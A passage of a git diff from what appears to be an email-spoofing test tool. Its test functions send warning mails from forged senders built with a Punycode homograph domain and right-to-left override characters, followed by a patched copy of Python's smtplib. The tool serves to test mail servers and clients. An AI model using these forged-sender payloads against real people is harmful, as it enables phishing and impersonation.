demo.sendMail(to_email, info=info, mime_from=mime_from, subject=subject, content=content) + + +def test_IDN_mime_from_username(user, passwd, smtp_server, receiveUser): + """ + Test whether the smtp server supports IDN MIME FROM(user) + :return: + """ + smtp, port = smtp_server.split(":") + demo = SendMailDealer(user, passwd, smtp, port) + to_email = receiveUser + info = u"IDN Homograph Attack" + number = "A12" + subject = "[Warning] Maybe you are vulnerable to the A12 attack!" + domain = user.split('@')[1] + mime_from = 'xn--80aa1cn6g67a@' + domain + defense = "You can only display the original address with Punycode character, if a domain label contains characters from multiple different languages." + content = template.format(attack_name=info, number=number, defense=defense) + demo.sendMail(to_email, info=info, mime_from=mime_from, subject=subject, content=content) + + +def test_reverse_mime_from_user(user, passwd, smtp_server, receiveUser): + """ + Test whether the smtp server supports reverse unicode MIME FROM(user) + :return: + """ + smtp, port = smtp_server.split(":") + mime_from = "\u202emoc.qq@\u202d@test.com" + demo = SendMailDealer(user, passwd, smtp, port) + to_email = receiveUser + info = u"Right-to-left Override Attack" + number = "A14" + subject = "[Warning] Maybe you are vulnerable to the %s attack!" % number + defense = 'You should reject emails which contain these special characters in the sender address or add a warning on UI.' + content = template.format(attack_name=info, number=number, defense=defense) + demo.sendMail(to_email, info=info, mime_from=mime_from, subject=subject, content=content) + + +def test_reverse_mime_from_domain(user, passwd, smtp_server, receiveUser): + """ + Test whether the smtp server supports reverse unicode MIME FROM(domain) + :return: + """ + smtp, port = smtp_server.split(":") + mime_from = "test@\u202etest.com\u202d" + demo = SendMailDealer(user, passwd, smtp, port) + to_email = receiveUser + info = u"Right-to-left Override Attack" + number = "A14" + subject = "[Warning] Maybe you are vulnerable to the %s attack!" % number + defense = 'You should reject emails which contain these special characters in the sender address or add a warning on UI.' + content = template.format(attack_name=info, number=number, defense=defense) + demo.sendMail(to_email, info=info, mime_from=mime_from, subject=subject, content=content) + + +if __name__ == '__main__': + """ + Send normal smtp email to receiveUser + :param user: + :param passwd: + :param smtp_server: + :param receiveUser: + :param subject: + :param content: both html and normal text is supported + :param filename: put Mail attachment into uploads folder and specify 'filename' + :param image: if you want to add image into email body, you can put "" in 'content' and specify 'image' like 'filename' + Other parameters like mail_from,mime_from,mime_from1,mime_from2 can be specified if smtp server allow. + :return: + """ + # test_normal(user, passwd, smtp_server, receiveUser, subject, content, mime_from=None, filename=filename, + # mime_from1=None, mime_from2=None, mail_from=None, image=image) + # test_mail_mime_attack(user, passwd, smtp_server, receiveUser) + # test_login_mail_attack(user, passwd, smtp_server, receiveUser) + # special_unicode = '\xff' + # test_mail_mime_chars_attack(user, passwd, smtp_server, receiveUser, special_unicode) + # test_multiple_mime_from1(user, passwd, smtp_server, receiveUser) + # test_multiple_mime_from2(user, passwd, smtp_server, receiveUser) + # test_multiple_value_mime_from1(user, passwd, smtp_server, receiveUser) + # test_multiple_value_mime_from2(user, passwd, smtp_server, receiveUser) + # test_multiple_value_mime_to(user, passwd, smtp_server, receiveUser) + # test_mime_to(user, passwd, smtp_server, receiveUser) + test_IDN_mime_from_domain(user, passwd, smtp_server, receiveUser) + # test_IDN_mime_from_username(user, passwd, smtp_server, receiveUser) + # test_reverse_mime_from_user(user, passwd, smtp_server, receiveUser) + # test_reverse_mime_from_domain(user, passwd, smtp_server, receiveUser) diff --git a/uploads/test.txt b/uploads/test.txt new file mode 100755 index 0000000..6a537b5 --- /dev/null +++ b/uploads/test.txt @@ -0,0 +1 @@ +1234567890 \ No newline at end of file diff --git a/util/log.py b/util/log.py new file mode 100755 index 0000000..99e011d --- /dev/null +++ b/util/log.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +import logging +import coloredlogs + + +def init_log(filename): + """ + :param filename + :return logger + """ + # formattler = '%(asctime)s %(pathname)-8s:%(lineno)d %(levelname)-8s %(message)s' + formattler = '%(levelname)-8s %(message)s' + fmt = logging.Formatter(formattler) + logger = logging.getLogger() + coloredlogs.install(level=logging.DEBUG, fmt=formattler) + file_handler = logging.FileHandler(filename) + file_handler.setLevel(logging.DEBUG) + file_handler.setFormatter(fmt) + logger.addHandler(file_handler) + try: + logging.getLogger("scapy").setLevel(logging.WARNING) + logging.getLogger("matplotlib").setLevel(logging.WARNING) + except Exception as e: + pass + return logger + + + diff --git a/util/smtplib.py b/util/smtplib.py new file mode 100755 index 0000000..00f25ca --- /dev/null +++ b/util/smtplib.py @@ -0,0 +1,1147 @@ +#! /usr/bin/env python3 + +'''SMTP/ESMTP client class. + +This should follow RFC 821 (SMTP), RFC 1869 (ESMTP), RFC 2554 (SMTP +Authentication) and RFC 2487 (Secure SMTP over TLS). + +Notes: + +Please remember, when doing ESMTP, that the names of the SMTP service +extensions are NOT the same thing as the option keywords for the RCPT +and MAIL commands! + +Example: + + >>> from util import smtplib + >>> s=smtplib.SMTP("localhost") + >>> print(s.help()) + This is Sendmail version 8.8.4 + Topics: + HELO EHLO MAIL RCPT DATA + RSET NOOP QUIT HELP VRFY + EXPN VERB ETRN DSN + For more info use "HELP ". + To report bugs in the implementation send email to + sendmail-bugs@sendmail.org. + For local information send email to Postmaster at your site. + End of HELP info + >>> s.putcmd("vrfy","someone@here") + >>> s.getreply() + (250, "Somebody OverHere ") + >>> s.quit() +''' + +# Author: The Dragon De Monsyne +# ESMTP support, test code and doc fixes added by +# Eric S. Raymond +# Better RFC 821 compliance (MAIL and RCPT, and CRLF in data) +# by Carey Evans , for picky mail servers. +# RFC 2554 (authentication) support by Gerhard Haering . +# +# This was modified from the Python 1.5 library HTTP lib. + +import socket +import io +import re +import email.utils +import email.message +import email.generator +import base64 +import hmac +import copy +import datetime +import sys +from email.base64mime import body_encode as encode_base64 + +__all__ = ["SMTPException", "SMTPServerDisconnected", "SMTPResponseException", + "SMTPSenderRefused", "SMTPRecipientsRefused", "SMTPDataError", + "SMTPConnectError", "SMTPHeloError", "SMTPAuthenticationError", + "quoteaddr", "quotedata", "SMTP"] + +SMTP_PORT = 25 +SMTP_SSL_PORT = 465 +CRLF = "\r\n" +bCRLF = b"\r\n" +_MAXLINE = 8192 # more than 8 times larger than RFC 821, 4.5.3 + +OLDSTYLE_AUTH = re.compile(r"auth=(.*)", re.I) + + +# Exception classes used by this module. +class SMTPException(OSError): + """Base class for all exceptions raised by this module.""" + + +class SMTPNotSupportedError(SMTPException): + """The command or option is not supported by the SMTP server. + + This exception is raised when an attempt is made to run a command or a + command with an option which is not supported by the server. + """ + + +class SMTPServerDisconnected(SMTPException): + """Not connected to any SMTP server. + + This exception is raised when the server unexpectedly disconnects, + or when an attempt is made to use the SMTP instance before + connecting it to a server. + """ + + +class SMTPResponseException(SMTPException): + """Base class for all exceptions that include an SMTP error code. + + These exceptions are generated in some instances when the SMTP + server returns an error code. The error code is stored in the + `smtp_code' attribute of the error, and the `smtp_error' attribute + is set to the error message. + """ + + def __init__(self, code, msg): + self.smtp_code = code + self.smtp_error = msg + self.args = (code, msg) + + +class SMTPSenderRefused(SMTPResponseException): + """Sender address refused. + + In addition to the attributes set by on all SMTPResponseException + exceptions, this sets `sender' to the string that the SMTP refused. + """ + + def __init__(self, code, msg, sender): + self.smtp_code = code + self.smtp_error = msg + self.sender = sender + self.args = (code, msg, sender) + + +class SMTPRecipientsRefused(SMTPException): + """All recipient addresses refused. + + The errors for each recipient are accessible through the attribute + 'recipients', which is a dictionary of exactly the same sort as + SMTP.sendmail() returns. + """ + + def __init__(self, recipients): + self.recipients = recipients + self.args = (recipients,) + + +class SMTPDataError(SMTPResponseException): + """The SMTP server didn't accept the data.""" + + +class SMTPConnectError(SMTPResponseException): + """Error during connection establishment.""" + + +class SMTPHeloError(SMTPResponseException): + """The server refused our HELO reply.""" + + +class SMTPAuthenticationError(SMTPResponseException): + """Authentication error. + + Most probably the server didn't accept the username/password + combination provided. + """ + + +def quoteaddr(addrstring): + """Quote a subset of the email addresses defined by RFC 821. + + Should be able to handle anything email.utils.parseaddr can handle. + """ + displayname, addr = email.utils.parseaddr(addrstring) + if (displayname, addr) == ('', ''): + # parseaddr couldn't parse it, use it as is and hope for the best. + if addrstring.strip().startswith('<'): + return addrstring + return "<%s>" % addrstring + return "<%s>" % addr + + +def _addr_only(addrstring): + displayname, addr = email.utils.parseaddr(addrstring) + if (displayname, addr) == ('', ''): + # parseaddr couldn't parse it, so use it as is. + return addrstring + return addr + + +# Legacy method kept for backward compatibility. +def quotedata(data): + """Quote data for email. + + Double leading '.', and change Unix newline '\\n', or Mac '\\r' into + Internet CRLF end-of-line. + """ + return re.sub(r'(?m)^\.', '..', + re.sub(r'(?:\r\n|\n|\r(?!\n))', CRLF, data)) + + +def _quote_periods(bindata): + return re.sub(br'(?m)^\.', b'..', bindata) + + +def _fix_eols(data): + return re.sub(r'(?:\r\n|\n|\r(?!\n))', CRLF, data) + + +try: + import ssl +except ImportError: + _have_ssl = False +else: + _have_ssl = True + + +class SMTP: + """This class manages a connection to an SMTP or ESMTP server. + SMTP Objects: + SMTP objects have the following attributes: + helo_resp + This is the message given by the server in response to the + most recent HELO command. + + ehlo_resp + This is the message given by the server in response to the + most recent EHLO command. This is usually multiline. + + does_esmtp + This is a True value _after you do an EHLO command_, if the + server supports ESMTP. + + esmtp_features + This is a dictionary, which, if the server supports ESMTP, + will _after you do an EHLO command_, contain the names of the + SMTP service extensions this server supports, and their + parameters (if any). + + Note, all extension names are mapped to lower case in the + dictionary. + + See each method's docstrings for details. In general, there is a + method of the same name to perform each SMTP command. There is also a + method called 'sendmail' that will do an entire mail transaction. + """ + debuglevel = 0 + file = None + helo_resp = None + ehlo_msg = "ehlo" + ehlo_resp = None + does_esmtp = 0 + default_port = SMTP_PORT + + def __init__(self, host='', port=0, local_hostname=None, + timeout=socket._GLOBAL_DEFAULT_TIMEOUT, + source_address=None): + """Initialize a new instance. + + If specified, `host' is the name of the remote host to which to + connect. If specified, `port' specifies the port to which to connect. + By default, smtplib.SMTP_PORT is used. If a host is specified the + connect method is called, and if it returns anything other than a + success code an SMTPConnectError is raised. If specified, + `local_hostname` is used as the FQDN of the local host in the HELO/EHLO + command. Otherwise, the local hostname is found using + socket.getfqdn(). The `source_address` parameter takes a 2-tuple (host, + port) for the socket to bind to as its source address before + connecting. If the host is '' and port is 0, the OS default behavior + will be used. + + """ + self._host = host + self.timeout = timeout + self.esmtp_features = {} + self.command_encoding = 'ascii' + self.source_address = source_address + + if host: + (code, msg) = self.connect(host, port) + if code != 220: + self.close() + raise SMTPConnectError(code, msg) + if local_hostname is not None: + self.local_hostname = local_hostname + else: + # RFC 2821 says we should use the fqdn in the EHLO/HELO verb, and + # if that can't be calculated, that we should use a domain literal + # instead (essentially an encoded IP address like [A.B.C.D]). + fqdn = socket.getfqdn() + if '.' in fqdn: + self.local_hostname = fqdn + else: + # We can't find an fqdn hostname, so use a domain literal + addr = '127.0.0.1' + try: + addr = socket.gethostbyname(socket.gethostname()) + except socket.gaierror: + pass + self.local_hostname = '[%s]' % addr + + def __enter__(self): + return self + + def __exit__(self, *args): + try: + code, message = self.docmd("QUIT") + if code != 221: + raise SMTPResponseException(code, message) + except SMTPServerDisconnected: + pass + finally: + self.close() + + def set_debuglevel(self, debuglevel): + """Set the debug output level. + + A non-false value results in debug messages for connection and for all + messages sent to and received from the server. + + """ + self.debuglevel = debuglevel + + def _print_debug(self, *args): + if self.debuglevel > 1: + print(datetime.datetime.now().time(), *args, file=sys.stderr) + else: + print(*args, file=sys.stderr) + + def _get_socket(self, host, port, timeout): + # This makes it simpler for SMTP_SSL to use the SMTP connect code + # and just alter the socket connection bit. + if self.debuglevel > 0: + self._print_debug('connect: to', (host, port), self.source_address) + return socket.create_connection((host, port), timeout, + self.source_address) + + def connect(self, host='localhost', port=0, source_address=None): + """Connect to a host on a given port. + + If the hostname ends with a colon (`:') followed by a number, and + there is no port specified, that suffix will be stripped off and the + number interpreted as the port number to use. + + Note: This method is automatically invoked by __init__, if a host is + specified during instantiation. + + """ + + if source_address: + self.source_address = source_address + + if not port and (host.find(':') == host.rfind(':')): + i = host.rfind(':') + if i >= 0: + host, port = host[:i], host[i + 1:] + try: + port = int(port) + except ValueError: + raise OSError("nonnumeric port") + if not port: + port = self.default_port + if self.debuglevel > 0: + self._print_debug('connect:', (host, port)) + self.sock = self._get_socket(host, port, self.timeout) + self.file = None + (code, msg) = self.getreply() + if self.debuglevel > 0: + self._print_debug('connect:', repr(msg)) + return (code, msg) + + def send(self, s): + """Send `s' to the server.""" + if self.debuglevel > 0: + self._print_debug('send:', repr(s)) + if hasattr(self, 'sock') and self.sock: + if isinstance(s, str): + # send is used by the 'data' command, where command_encoding + # should not be used, but 'data' needs to convert the string to + # binary itself anyway, so that's not a problem. + # patch for fuzzing @moxiaoxi + try: + s = s.encode(self.command_encoding) + except Exception as e: + s = s.encode('latin-1') + # patch end + try: + self.sock.sendall(s) + except OSError: + self.close() + raise SMTPServerDisconnected('Server not connected') + else: + raise SMTPServerDisconnected('please run connect() first') + + def putcmd(self, cmd, args=""): + """Send a command to the server.""" + if args == "": + str = '%s%s' % (cmd, CRLF) + else: + str = '%s %s%s' % (cmd, args, CRLF) + self.send(str) + + def getreply(self): + """Get a reply from the server. + + Returns a tuple consisting of: + + - server response code (e.g. '250', or such, if all goes well) + Note: returns -1 if it can't read response code. + + - server response string corresponding to response code (multiline + responses are converted to a single, multiline string). + + Raises SMTPServerDisconnected if end-of-file is reached. + """ + resp = [] + if self.file is None: + self.file = self.sock.makefile('rb') + while 1: + try: + line = self.file.readline(_MAXLINE + 1) + except OSError as e: + self.close() + raise SMTPServerDisconnected("Connection unexpectedly closed: " + + str(e)) + if not line: + self.close() + raise SMTPServerDisconnected("Connection unexpectedly closed") + if self.debuglevel > 0: + self._print_debug('reply:', repr(line)) + if len(line) > _MAXLINE: + self.close() + raise SMTPResponseException(500, "Line too long.") + resp.append(line[4:].strip(b' \t\r\n')) + code = line[:3] + # Check that the error code is syntactically correct. + # Don't attempt to read a continuation line if it is broken. + try: + errcode = int(code) + except ValueError: + errcode = -1 + break + # Check if multiline response. + if line[3:4] != b"-": + break + + errmsg = b"\n".join(resp) + if self.debuglevel > 0: + self._print_debug('reply: retcode (%s); Msg: %a' % (errcode, errmsg)) + return errcode, errmsg + + def docmd(self, cmd, args=""): + """Send a command, and return its response code.""" + self.putcmd(cmd, args) + return self.getreply() + + # std smtp commands + def helo(self, name=''): + """SMTP 'helo' command. + Hostname to send for this command defaults to the FQDN of the local + host. + """ + self.putcmd("helo", name or self.local_hostname) + (code, msg) = self.getreply() + self.helo_resp = msg + return (code, msg) + + def ehlo(self, name=''): + """ SMTP 'ehlo' command. + Hostname to send for this command defaults to the FQDN of the local + host. + """ + self.esmtp_features = {} + self.putcmd(self.ehlo_msg, name or self.local_hostname) + (code, msg) = self.getreply() + # According to RFC1869 some (badly written) + # MTA's will disconnect on an ehlo. Toss an exception if + # that happens -ddm + if code == -1 and len(msg) == 0: + self.close() + raise SMTPServerDisconnected("Server not connected") + self.ehlo_resp = msg + if code != 250: + return (code, msg) + self.does_esmtp = 1 + # parse the ehlo response -ddm + assert isinstance(self.ehlo_resp, bytes), repr(self.ehlo_resp) + resp = self.ehlo_resp.decode("latin-1").split('\n') + del resp[0] + for each in resp: + # To be able to communicate with as many SMTP servers as possible, + # we have to take the old-style auth advertisement into account, + # because: + # 1) Else our SMTP feature parser gets confused. + # 2) There are some servers that only advertise the auth methods we + # support using the old style. + auth_match = OLDSTYLE_AUTH.match(each) + if auth_match: + # This doesn't remove duplicates, but that's no problem + self.esmtp_features["auth"] = self.esmtp_features.get("auth", "") \ + + " " + auth_match.groups(0)[0] + continue + + # RFC 1869 requires a space between ehlo keyword and parameters. + # It's actually stricter, in that only spaces are allowed between + # parameters, but were not going to check for that here. Note + # that the space isn't present if there are no parameters. + m = re.match(r'(?P[A-Za-z0-9][A-Za-z0-9\-]*) ?', each) + if m: + feature = m.group("feature").lower() + params = m.string[m.end("feature"):].strip() + if feature == "auth": + self.esmtp_features[feature] = self.esmtp_features.get(feature, "") \ + + " " + params + else: + self.esmtp_features[feature] = params + return (code, msg) + + def has_extn(self, opt): + """Does the server support a given SMTP service extension?""" + return opt.lower() in self.esmtp_features + + def help(self, args=''): + """SMTP 'help' command. + Returns help text from server.""" + self.putcmd("help", args) + return self.getreply()[1] + + def rset(self): + """SMTP 'rset' command -- resets session.""" + self.command_encoding = 'ascii' + return self.docmd("rset") + + def _rset(self): + """Internal 'rset' command which ignores any SMTPServerDisconnected error. + + Used internally in the library, since the server disconnected error + should appear to the application when the *next* command is issued, if + we are doing an internal "safety" reset. + """ + try: + self.rset() + except SMTPServerDisconnected: + pass + + def noop(self): + """SMTP 'noop' command -- doesn't do anything :>""" + return self.docmd("noop") + + def mail(self, sender, options=[]): + """SMTP 'mail' command -- begins mail xfer session. + + This method may raise the following exceptions: + + SMTPNotSupportedError The options parameter includes 'SMTPUTF8' + but the SMTPUTF8 extension is not supported by + the server. + """ + optionlist = '' + if options and self.does_esmtp: + if any(x.lower() == 'smtputf8' for x in options): + if self.has_extn('smtputf8'): + self.command_encoding = 'utf-8' + else: + raise SMTPNotSupportedError( + 'SMTPUTF8 not supported by server') + optionlist = ' ' + ' '.join(options) + self.putcmd("mail", "FROM:%s%s" % (quoteaddr(sender), optionlist)) + return self.getreply() + + def rcpt(self, recip, options=[]): + """SMTP 'rcpt' command -- indicates 1 recipient for this mail.""" + optionlist = '' + if options and self.does_esmtp: + optionlist = ' ' + ' '.join(options) + self.putcmd("rcpt", "TO:%s%s" % (quoteaddr(recip), optionlist)) + return self.getreply() + + def data(self, msg): + """SMTP 'DATA' command -- sends message data to server. + + Automatically quotes lines beginning with a period per rfc821. + Raises SMTPDataError if there is an unexpected reply to the + DATA command; the return value from this method is the final + response code received when the all data is sent. If msg + is a string, lone '\\r' and '\\n' characters are converted to + '\\r\\n' characters. If msg is bytes, it is transmitted as is. + """ + self.putcmd("data") + (code, repl) = self.getreply() + if self.debuglevel > 0: + self._print_debug('data:', (code, repl)) + if code != 354: + raise SMTPDataError(code, repl) + else: + if isinstance(msg, str): + msg = _fix_eols(msg).encode('ascii') + q = _quote_periods(msg) + if q[-2:] != bCRLF: + q = q + bCRLF + q = q + b"." + bCRLF + self.send(q) + (code, msg) = self.getreply() + if self.debuglevel > 0: + self._print_debug('data:', (code, msg)) + return (code, msg) + + def verify(self, address): + """SMTP 'verify' command -- checks for address validity.""" + self.putcmd("vrfy", _addr_only(address)) + return self.getreply() + + # a.k.a. + vrfy = verify + + def expn(self, address): + """SMTP 'expn' command -- expands a mailing list.""" + self.putcmd("expn", _addr_only(address)) + return self.getreply() + + # some useful methods + + def ehlo_or_helo_if_needed(self): + """Call self.ehlo() and/or self.helo() if needed. + + If there has been no previous EHLO or HELO command this session, this + method tries ESMTP EHLO first. + + This method may raise the following exceptions: + + SMTPHeloError The server didn't reply properly to + the helo greeting. + """ + if self.helo_resp is None and self.ehlo_resp is None: + if not (200 <= self.ehlo()[0] <= 299): + (code, resp) = self.helo() + if not (200 <= code <= 299): + raise SMTPHeloError(code, resp) + + def auth(self, mechanism, authobject, *, initial_response_ok=True): + """Authentication command - requires response processing. + + 'mechanism' specifies which authentication mechanism is to + be used - the valid values are those listed in the 'auth' + element of 'esmtp_features'. + + 'authobject' must be a callable object taking a single argument: + + data = authobject(challenge) + + It will be called to process the server's challenge response; the + challenge argument it is passed will be a bytes. It should return + bytes data that will be base64 encoded and sent to the server. + + Keyword arguments: + - initial_response_ok: Allow sending the RFC 4954 initial-response + to the AUTH command, if the authentication methods supports it. + """ + # RFC 4954 allows auth methods to provide an initial response. Not all + # methods support it. By definition, if they return something other + # than None when challenge is None, then they do. See issue #15014. + mechanism = mechanism.upper() + initial_response = (authobject() if initial_response_ok else None) + if initial_response is not None: + response = encode_base64(initial_response.encode('ascii'), eol='') + (code, resp) = self.docmd("AUTH", mechanism + " " + response) + else: + (code, resp) = self.docmd("AUTH", mechanism) + # If server responds with a challenge, send the response. + if code == 334: + challenge = base64.decodebytes(resp) + response = encode_base64( + authobject(challenge).encode('ascii'), eol='') + (code, resp) = self.docmd(response) + if code in (235, 503): + return (code, resp) + raise SMTPAuthenticationError(code, resp) + + def auth_cram_md5(self, challenge=None): + """ Authobject to use with CRAM-MD5 authentication. Requires self.user + and self.password to be set.""" + # CRAM-MD5 does not support initial-response. + if challenge is None: + return None + return self.user + " " + hmac.HMAC( + self.password.encode('ascii'), challenge, 'md5').hexdigest() + + def auth_plain(self, challenge=None): + """ Authobject to use with PLAIN authentication. Requires self.user and + self.password to be set.""" + return "\0%s\0%s" % (self.user, self.password) + + def auth_login(self, challenge=None): + """ Authobject to use with LOGIN authentication. Requires self.user and + self.password to be set.""" + if challenge is None: + return self.user + else: + return self.password + + def login(self, user, password, *, initial_response_ok=True): + """Log in on an SMTP server that requires authentication. + + The arguments are: + - user: The user name to authenticate with. + - password: The password for the authentication. + + Keyword arguments: + - initial_response_ok: Allow sending the RFC 4954 initial-response + to the AUTH command, if the authentication methods supports it. + + If there has been no previous EHLO or HELO command this session, this + method tries ESMTP EHLO first. + + This method will return normally if the authentication was successful. + + This method may raise the following exceptions: + + SMTPHeloError The server didn't reply properly to + the helo greeting. + SMTPAuthenticationError The server didn't accept the username/ + password combination. + SMTPNotSupportedError The AUTH command is not supported by the + server. + SMTPException No suitable authentication method was + found. + """ + + self.ehlo_or_helo_if_needed() + if not self.has_extn("auth"): + raise SMTPNotSupportedError( + "SMTP AUTH extension not supported by server.") + + # Authentication methods the server claims to support + advertised_authlist = self.esmtp_features["auth"].split() + + # Authentication methods we can handle in our preferred order: + preferred_auths = ['CRAM-MD5', 'PLAIN', 'LOGIN'] + + # We try the supported authentications in our preferred order, if + # the server supports them. + authlist = [auth for auth in preferred_auths + if auth in advertised_authlist] + if not authlist: + raise SMTPException("No suitable authentication method found.") + + # Some servers advertise authentication methods they don't really + # support, so if authentication fails, we continue until we've tried + # all methods. + self.user, self.password = user, password + for authmethod in authlist: + method_name = 'auth_' + authmethod.lower().replace('-', '_') + try: + (code, resp) = self.auth( + authmethod, getattr(self, method_name), + initial_response_ok=initial_response_ok) + # 235 == 'Authentication successful' + # 503 == 'Error: already authenticated' + if code in (235, 503): + return (code, resp) + except SMTPAuthenticationError as e: + last_exception = e + + # We could not login successfully. Return result of last attempt. + raise last_exception + + def starttls(self, keyfile=None, certfile=None, context=None): + """Puts the connection to the SMTP server into TLS mode. + + If there has been no previous EHLO or HELO command this session, this + method tries ESMTP EHLO first. + + If the server supports TLS, this will encrypt the rest of the SMTP + session. If you provide the keyfile and certfile parameters, + the identity of the SMTP server and client can be checked. This, + however, depends on whether the socket module really checks the + certificates. + + This method may raise the following exceptions: + + SMTPHeloError The server didn't reply properly to + the helo greeting. + """ + self.ehlo_or_helo_if_needed() + if not self.has_extn("starttls"): + raise SMTPNotSupportedError( + "STARTTLS extension not supported by server.") + (resp, reply) = self.docmd("STARTTLS") + if resp == 220: + if not _have_ssl: + raise RuntimeError("No SSL support included in this Python") + if context is not None and keyfile is not None: + raise ValueError("context and keyfile arguments are mutually " + "exclusive") + if context is not None and certfile is not None: + raise ValueError("context and certfile arguments are mutually " + "exclusive") + if keyfile is not None or certfile is not None: + import warnings + warnings.warn("keyfile and certfile are deprecated, use a" + "custom context instead", DeprecationWarning, 2) + if context is None: + context = ssl._create_stdlib_context(certfile=certfile, + keyfile=keyfile) + self.sock = context.wrap_socket(self.sock, + server_hostname=self._host) + self.file = None + # RFC 3207: + # The client MUST discard any knowledge obtained from + # the server, such as the list of SMTP service extensions, + # which was not obtained from the TLS negotiation itself. + self.helo_resp = None + self.ehlo_resp = None + self.esmtp_features = {} + self.does_esmtp = 0 + else: + # RFC 3207: + # 501 Syntax error (no parameters allowed) + # 454 TLS not available due to temporary reason + raise SMTPResponseException(resp, reply) + return (resp, reply) + + def sendmail(self, from_addr, to_addrs, msg, mail_options=[], + rcpt_options=[]): + """This command performs an entire mail transaction. + + The arguments are: + - from_addr : The address sending this mail. + - to_addrs : A list of addresses to send this mail to. A bare + string will be treated as a list with 1 address. + - msg : The message to send. + - mail_options : List of ESMTP options (such as 8bitmime) for the + mail command. + - rcpt_options : List of ESMTP options (such as DSN commands) for + all the rcpt commands. + + msg may be a string containing characters in the ASCII range, or a byte + string. A string is encoded to bytes using the ascii codec, and lone + \\r and \\n characters are converted to \\r\\n characters. + + If there has been no previous EHLO or HELO command this session, this + method tries ESMTP EHLO first. If the server does ESMTP, message size + and each of the specified options will be passed to it. If EHLO + fails, HELO will be tried and ESMTP options suppressed. + + This method will return normally if the mail is accepted for at least + one recipient. It returns a dictionary, with one entry for each + recipient that was refused. Each entry contains a tuple of the SMTP + error code and the accompanying error message sent by the server. + + This method may raise the following exceptions: + + SMTPHeloError The server didn't reply properly to + the helo greeting. + SMTPRecipientsRefused The server rejected ALL recipients + (no mail was sent). + SMTPSenderRefused The server didn't accept the from_addr. + SMTPDataError The server replied with an unexpected + error code (other than a refusal of + a recipient). + SMTPNotSupportedError The mail_options parameter includes 'SMTPUTF8' + but the SMTPUTF8 extension is not supported by + the server. + + Note: the connection will be open even after an exception is raised. + + Example: + + >>> from util import smtplib + >>> s=smtplib.SMTP("localhost") + >>> tolist=["one@one.org","two@two.org","three@three.org","four@four.org"] + >>> msg = '''\\ + ... From: Me@my.org + ... Subject: testin'... + ... + ... This is a test ''' + >>> s.sendmail("me@my.org",tolist,msg) + { "three@three.org" : ( 550 ,"User unknown" ) } + >>> s.quit() + + In the above example, the message was accepted for delivery to three + of the four addresses, and one was rejected, with the error code + 550. If all addresses are accepted, then the method will return an + empty dictionary. + + """ + self.ehlo_or_helo_if_needed() + esmtp_opts = [] + if isinstance(msg, str): + # patch fuzz @moxiaoxi + try: + msg = _fix_eols(msg).encode('ascii') + except Exception as e: + msg = _fix_eols(msg).encode('latin-1') + + # patch end + if self.does_esmtp: + if self.has_extn('size'): + esmtp_opts.append("size=%d" % len(msg)) + for option in mail_options: + esmtp_opts.append(option) + (code, resp) = self.mail(from_addr, esmtp_opts) + if code != 250: + if code == 421: + self.close() + else: + self._rset() + raise SMTPSenderRefused(code, resp, from_addr) + senderrs = {} + if isinstance(to_addrs, str): + to_addrs = [to_addrs] + for each in to_addrs: + (code, resp) = self.rcpt(each, rcpt_options) + if (code != 250) and (code != 251): + senderrs[each] = (code, resp) + if code == 421: + self.close() + raise SMTPRecipientsRefused(senderrs) + if len(senderrs) == len(to_addrs): + # the server refused all our recipients + self._rset() + raise SMTPRecipientsRefused(senderrs) + (code, resp) = self.data(msg) + if code != 250: + if code == 421: + self.close() + else: + self._rset() + raise SMTPDataError(code, resp) + # if we got here then somebody got our mail + return senderrs + + def send_message(self, msg, from_addr=None, to_addrs=None, + mail_options=[], rcpt_options={}): + """Converts message to a bytestring and passes it to sendmail. + + The arguments are as for sendmail, except that msg is an + email.message.Message object. If from_addr is None or to_addrs is + None, these arguments are taken from the headers of the Message as + described in RFC 2822 (a ValueError is raised if there is more than + one set of 'Resent-' headers). Regardless of the values of from_addr and + to_addr, any Bcc field (or Resent-Bcc field, when the Message is a + resent) of the Message object won't be transmitted. The Message + object is then serialized using email.generator.BytesGenerator and + sendmail is called to transmit the message. If the sender or any of + the recipient addresses contain non-ASCII and the server advertises the + SMTPUTF8 capability, the policy is cloned with utf8 set to True for the + serialization, and SMTPUTF8 and BODY=8BITMIME are asserted on the send. + If the server does not support SMTPUTF8, an SMTPNotSupported error is + raised. Otherwise the generator is called without modifying the + policy. + + """ + # 'Resent-Date' is a mandatory field if the Message is resent (RFC 2822 + # Section 3.6.6). In such a case, we use the 'Resent-*' fields. However, + # if there is more than one 'Resent-' block there's no way to + # unambiguously determine which one is the most recent in all cases, + # so rather than guess we raise a ValueError in that case. + # + # TODO implement heuristics to guess the correct Resent-* block with an + # option allowing the user to enable the heuristics. (It should be + # possible to guess correctly almost all of the time.) + + self.ehlo_or_helo_if_needed() + resent = msg.get_all('Resent-Date') + if resent is None: + header_prefix = '' + elif len(resent) == 1: + header_prefix = 'Resent-' + else: + raise ValueError("message has more than one 'Resent-' header block") + if from_addr is None: + # Prefer the sender field per RFC 2822:3.6.2. + from_addr = (msg[header_prefix + 'Sender'] + if (header_prefix + 'Sender') in msg + else msg[header_prefix + 'From']) + from_addr = email.utils.getaddresses([from_addr])[0][1] + if to_addrs is None: + addr_fields = [f for f in (msg[header_prefix + 'To'], + msg[header_prefix + 'Bcc'], + msg[header_prefix + 'Cc']) + if f is not None] + to_addrs = [a[1] for a in email.utils.getaddresses(addr_fields)] + # Make a local copy so we can delete the bcc headers. + msg_copy = copy.copy(msg) + del msg_copy['Bcc'] + del msg_copy['Resent-Bcc'] + international = False + try: + ''.join([from_addr, *to_addrs]).encode('ascii') + except UnicodeEncodeError: + if not self.has_extn('smtputf8'): + raise SMTPNotSupportedError( + "One or more source or delivery addresses require" + " internationalized email support, but the server" + " does not advertise the required SMTPUTF8 capability") + international = True + with io.BytesIO() as bytesmsg: + if international: + g = email.generator.BytesGenerator( + bytesmsg, policy=msg.policy.clone(utf8=True)) + mail_options += ['SMTPUTF8', 'BODY=8BITMIME'] + else: + g = email.generator.BytesGenerator(bytesmsg) + g.flatten(msg_copy, linesep='\r\n') + flatmsg = bytesmsg.getvalue() + return self.sendmail(from_addr, to_addrs, flatmsg, mail_options, + rcpt_options) + + def close(self): + """Close the connection to the SMTP server.""" + try: + file = self.file + self.file = None + if file: + file.close() + finally: + sock = self.sock + self.sock = None + if sock: + sock.close() + + def quit(self): + """Terminate the SMTP session.""" + res = self.docmd("quit") + # A new EHLO is required after reconnecting with connect() + self.ehlo_resp = self.helo_resp = None + self.esmtp_features = {} + self.does_esmtp = False + self.close() + return res + + +if _have_ssl: + + class SMTP_SSL(SMTP): + """ This is a 